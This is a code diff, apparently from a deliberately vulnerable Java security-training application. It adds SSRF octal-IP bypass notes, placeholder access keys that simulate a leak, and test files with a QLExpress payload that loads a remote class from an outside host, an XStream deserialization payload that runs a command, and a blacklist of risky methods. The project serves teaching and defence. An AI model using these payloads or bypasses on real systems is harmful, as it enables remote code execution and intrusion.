LoggerFactory.getLogger(SecurityUtil.class); + private final static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); /** @@ -116,7 +116,6 @@ public static boolean checkSSRFByWhitehosts(String url) { /** * 解析URL的IP,判断IP是否是内网IP。如果有重定向跳转,循环解析重定向跳转的IP。不建议使用该方案。 - * * 存在的问题: * 1、会主动发起请求,可能会有性能问题 * 2、设置重定向跳转为第一次302不跳转,第二次302跳转到内网IP 即可绕过该防御方案 @@ -134,7 +133,6 @@ public static boolean checkSSRF(String url) { /** * 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。 - * * 存在问题: * 1、TTL为0会被绕过 * 2、使用重定向可绕过 diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java index 70f744ad..c2b3896a 100644 --- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java +++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java @@ -157,7 +157,6 @@ public static boolean isInternalIp(String strIP) { *

Normal:

*
    *
  • 69299689 to 10.23.78.233
  • - *
  • 69299689 to 10.23.78.233
  • *
  • 012.0x17.78.233 to 10.23.78.233
  • *
  • 012.027.0116.0351 to 10.23.78.233
  • *
  • 127.0.0.1.xip.io to 127.0.0.1
  • @@ -166,8 +165,10 @@ public static boolean isInternalIp(String strIP) { *

    Bypass:

    *
      - *
    • 01205647351 to 71.220.183.247, actually 10.23.78.233
    • - *
    • 012.23.78.233 to 12.23.78.233, actually 10.23.78.233
    • + *
    • 01205647351 {@link InetAddress#getHostAddress()} result is 71.220.183.247, actually 10.23.78.233
    • + *
    • 012.23.78.233 {@link InetAddress#getHostAddress()} result is 12.23.78.233, actually 10.23.78.233
    • + *
    • 012.23.233 {@link InetAddress#getHostAddress()} result is 12.23.0.233, actually 10.23.0.233
    • + *
    • 012.233 {@link InetAddress#getHostAddress()} result is 12.0.0.233, actually 10.0.0.233
    • *
    * @return decimal ip */ @@ -177,15 +178,17 @@ public static String host2ip(String host) { return ""; } - // convert octal to decimal + // convert octal to decimal if(isOctalIP(host)) { host = decimalIp; } try { - InetAddress IpAddress = InetAddress.getByName(host); // send dns request + // send dns request + InetAddress IpAddress = InetAddress.getByName(host); return IpAddress.getHostAddress(); } catch (Exception e) { + logger.error("host2ip exception " + e.getMessage()); return ""; } } @@ -196,44 +199,57 @@ public static String host2ip(String host) { * @return Octal ip returns true, others return false. 012.23.78.233 return true. 012.0x17.78.233 return false. */ public static boolean isOctalIP(String host) { - String[] ipParts = host.split("\\."); - StringBuilder newDecimalIP = new StringBuilder(); - boolean is_octal = false; - - // Octal ip only has number and dot character. - if (isNumberOrDot(host)) { - - if (ipParts.length != 1 && ipParts.length != 4) { - return false; - } - - // 000000001205647351 - if( ipParts.length == 1 && host.startsWith("0") ) { - decimalIp = Integer.valueOf(host, 8).toString(); - return true; - } + try{ + String[] ipParts = host.split("\\."); + StringBuilder newDecimalIP = new StringBuilder(); + boolean is_octal = false; + + // Octal ip only has number and dot character. + if (isNumberOrDot(host)) { + + // not support ipv6 + if (ipParts.length > 4) { + logger.error("Illegal ipv4: " + host); + return false; + } - // 0000012.23.78.233 - for(String ip : ipParts) { - if (!isNumber(ip)){ - throw new SSRFException("Illegal host: " + host + "."); + // 01205647351 + if( ipParts.length == 1 && host.startsWith("0") ) { + decimalIp = Integer.valueOf(host, 8).toString(); + return true; } - if (ip.startsWith("0")) { - if (Integer.valueOf(ip, 8) >= 256){ - throw new SSRFException("Illegal host: " + host + ".\t" + ip + " is above 255."); + + // 012.23.78.233 + for(String ip : ipParts) { + if (!isNumber(ip)){ + logger.error("Illegal ipv4: " + host); + return false; } - newDecimalIP.append(Integer.valueOf(ip, 8)).append("."); - is_octal = true; - }else{ - if (Integer.valueOf(ip, 10) >= 256) { - throw new SSRFException("Illegal host: " + host + ".\t" + ip + " is above 255."); + // start with "0", but not "0" + if (ip.startsWith("0") && !ip.equals("0")) { + if (Integer.valueOf(ip, 8) >= 256){ + logger.error("Illegal ipv4: " + host); + return false; + } + newDecimalIP.append(Integer.valueOf(ip, 8)).append("."); + is_octal = true; + }else{ + if (Integer.valueOf(ip, 10) >= 256) { + logger.error("Illegal ipv4: " + host); + return false; + } + newDecimalIP.append(ip).append("."); } - newDecimalIP.append(ip).append("."); } + // delete last char . + decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf(".")); } - decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf(".")); + return is_octal; + } catch (Exception e){ + logger.error("SSRFChecker isOctalIP exception: " + e.getMessage()); + return false; } - return is_octal; + } /** @@ -246,7 +262,7 @@ private static boolean isNumber(String str) { } for (int i = 0; i < str.length(); i++) { char ch = str.charAt(i); - if (ch < 48 || ch > 57) { + if (ch < '0' || ch > '9') { return false; } } @@ -261,7 +277,7 @@ private static boolean isNumber(String str) { private static boolean isNumberOrDot(String s) { for (int i = 0; i < s.length(); i++) { char ch = s.charAt(i); - if ((ch < 48 || ch > 57) && ch != 46){ + if ((ch < '0' || ch > '9') && ch != '.'){ return false; } } diff --git a/src/main/java/org/joychou/util/CookieUtils.java b/src/main/java/org/joychou/util/CookieUtils.java index eddae0db..f63b6e42 100644 --- a/src/main/java/org/joychou/util/CookieUtils.java +++ b/src/main/java/org/joychou/util/CookieUtils.java @@ -21,4 +21,17 @@ public static boolean deleteCookie(HttpServletResponse res, String cookieName) { return false; } } + + public static boolean addCookie(HttpServletResponse res, String cookieName, String cookieValue) { + try { + Cookie cookie = new Cookie(cookieName, cookieValue); + cookie.setMaxAge(1000); + cookie.setPath("/"); + res.addCookie(cookie); + return true; + } catch (Exception e) { + log.error(e.toString()); + return false; + } + } } diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java index 2c248b29..c1eac95c 100644 --- a/src/main/java/org/joychou/util/HttpUtils.java +++ b/src/main/java/org/joychou/util/HttpUtils.java @@ -94,7 +94,6 @@ public static String URLConnection(String url) { URL u = new URL(url); URLConnection urlConnection = u.openConnection(); BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request - // BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream())); String inputLine; StringBuilder html = new StringBuilder(); diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java index 4816df8e..0445f310 100644 --- a/src/main/java/org/joychou/util/WebUtils.java +++ b/src/main/java/org/joychou/util/WebUtils.java @@ -2,9 +2,7 @@ import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; -import java.io.File; -import java.io.IOException; -import java.io.InputStream; +import java.io.*; import com.google.common.base.Preconditions; import org.springframework.web.util.HtmlUtils; @@ -17,7 +15,6 @@ public static String getRequestBody(HttpServletRequest request) throws IOExcepti return convertStreamToString(in); } - // https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java public static String convertStreamToString(java.io.InputStream is) { java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A"); diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index d5c6d5ab..326a2b76 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -9,8 +9,6 @@ logging.level.org.joychou.mapper=debug # Spring Boot Actuator Config management.security.enabled=false -endpoints.enabled=true - # logging.config=classpath:logback-online.xml @@ -48,10 +46,14 @@ swagger.enable = true ### no need to login page begins ### -joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/** +joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/**, /qlexpress/** ### no need to login page ends ### # http header max size #server.max-http-header-size=30000 + +# Fake aksk. Simulate actuator info leak. +jsc.accessKey.id=LTAI5tSAEPX3Z5N2Yt8ogc2y +jsc.accessKey.secret=W1Poxj09wN0Zu6dDsS0on3SIUhOhK7 \ No newline at end of file diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html index 8511d5fd..7e7061be 100644 --- a/src/main/resources/templates/index.html +++ b/src/main/resources/templates/index.html @@ -5,29 +5,30 @@ Home Page -

    Hello .

    -

    Welcome to login java-sec-code application. Application Infomation

    -

    - Swagger   - CmdInject   - JSONP   - Picture Upload   - File Upload   - Cors   - PathTraversal   - SqlInject   - SSRF   - RCE   - ooxml XXE   - xlsx-streamer XXE -

    +

    Hello .

    +

    Welcome to login java-sec-code application. Application Infomation

    +

    + Swagger   + CmdInject   + JSONP   + Picture Upload   + File Upload   + Cors   + PathTraversal   + SqlInject   + SSRF   + RCE   + ooxml XXE   + xlsx-streamer XXE + actuator env +

    -

    - JWTCreateToken - GetUserFromJWTToken -

    -

    ...

    - logout +

    + JWTCreateToken + GetUserFromJWTToken +

    +

    ...

    +logout - \ No newline at end of file + diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html index 1a4c4225..d5c4ccd5 100644 --- a/src/main/resources/templates/login.html +++ b/src/main/resources/templates/login.html @@ -28,7 +28,9 @@
    -

    RememberMe

    +

    + RememberMe +

    diff --git a/src/main/test/org/test/QLExpressTest.java b/src/main/test/org/test/QLExpressTest.java new file mode 100644 index 00000000..a2071d58 --- /dev/null +++ b/src/main/test/org/test/QLExpressTest.java @@ -0,0 +1,103 @@ +package org.test; + +import com.ql.util.express.DefaultContext; +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.IExpressContext; +import com.ql.util.express.config.QLExpressRunStrategy; +import org.junit.Test; + +/** + * QLExpress security test cases. + */ +public class QLExpressTest { + + private static final String poc = "url = 'http://sb.dog:8888/'; classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);classLoader.loadClass('Hello').newInstance();"; + + /** + * basic usage + */ + @Test + public void basicUsage() throws Exception{ + ExpressRunner runner = new ExpressRunner(); + IExpressContext context = new DefaultContext<>(); + context.put("a", 1); + context.put("b", 2); + Object r = runner.execute("a+b", context, null, true, false); + System.out.println(r); // print 3 + } + + /** + * Test case of /qlexpress/vuln1. Use URLClassLoader to load evil class. + */ + @Test + public void vuln1() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + IExpressContext context = new DefaultContext<>(); + Object r = runner.execute(poc, context, null, true, false); + System.out.println(r); + } + + /** + * fix method by using class and method whitelist. + */ + @Test + public void sec01() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); + QLExpressRunStrategy.addSecureMethod(String.class, "length"); + IExpressContext context = new DefaultContext<>(); + Object r1 = runner.execute("'abc'.length()", context, null, true, false); + System.out.println(r1); + Object r2 = runner.execute(poc, context, null, true, false); + System.out.println(r2); + } + + /** + *

    Fix method by using class and method blacklist. It may exist bypass.

    + * + *

    Default blacklist: + *

      + *
    • System.class.getName() + ".exit"
    • + *
    • ProcessBuilder.class.getName() + ".start"
    • + *
    • Method.class.getName() + ".invoke"
    • + *
    • Class.class.getName() + ".forName"
    • + *
    • ClassLoader.class.getName() + ".loadClass"
    • + *
    • ClassLoader.class.getName() + ".findClass"
    • + *
    • ClassLoader.class.getName() + ".defineClass"
    • + *
    • ClassLoader.class.getName() + ".getSystemClassLoader"
    • + *
    • javax.naming.InitialContext.lookup
    • + *
    • com.sun.rowset.JdbcRowSetImpl.setDataSourceName
    • + *
    • com.sun.rowset.JdbcRowSetImpl.setAutoCommit
    • + *
    • QLExpressRunStrategy.class.getName() + ".setForbidInvokeSecurityRiskMethods"
    • + *
    • jdk.jshell.JShell.create
    • + *
    • javax.script.ScriptEngineManager.getEngineByName
    • + *
    • org.springframework.jndi.JndiLocatorDelegate.lookup
    • + *
    + *

    + */ + @Test + public void sec02() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); + IExpressContext context = new DefaultContext<>(); + Object r = runner.execute(poc, context, null, true, false); + System.out.println(r); + } + + + /** + *

    Fix method by using sandbox.

    + */ + @Test + public void sec03() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setSandBoxMode(true); + IExpressContext context = new DefaultContext<>(); + Object r = runner.execute(poc, context, null, true, false); + System.out.println(r); + } +} diff --git a/src/main/test/org/test/XStreamTest.java b/src/main/test/org/test/XStreamTest.java new file mode 100644 index 00000000..a5375ebf --- /dev/null +++ b/src/main/test/org/test/XStreamTest.java @@ -0,0 +1,70 @@ +package org.test; + +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.io.xml.DomDriver; +import com.thoughtworks.xstream.security.AnyTypePermission; +import org.joychou.dao.User; +import org.junit.Test; + +public class XStreamTest { + + private static final String poc_xml = "\n" + + " foo\n" + + " \n" + + " java.lang.Comparable\n" + + " \n" + + " \n" + + " \n" + + " Open\n" + + " -a\n" + + " Calculator\n" + + " \n" + + " \n" + + " start\n" + + " \n" + + " \n" + + ""; + + + /** + * XStream basic usage. + */ + @Test + public void basicUsage() { + User user = new User(); + user.setId(0); + user.setUsername("admin"); + + XStream xstream = new XStream(new DomDriver()); + String xml = xstream.toXML(user); // Serialize + System.out.println(xml); + + // High version xstream needs set allowTypes + xstream.allowTypes(new Class[]{User.class}); + user = (User) xstream.fromXML(xml); // Deserialize + System.out.println(user.getId() + ": " + user.getUsername()); + } + + /** + * Command execute + */ + @Test + public void vuln01() { + System.out.println(poc_xml); + XStream xstream = new XStream(); + xstream.addPermission(AnyTypePermission.ANY); // Insecure configuration + xstream.fromXML(poc_xml); // Deserialize + } + + + /** + * Security code. XStream version: 1.4.20 + */ + @Test + public void sec01() { + System.out.println(poc_xml); + XStream xstream = new XStream(); + xstream.fromXML(poc_xml); // Deserialize + } + +}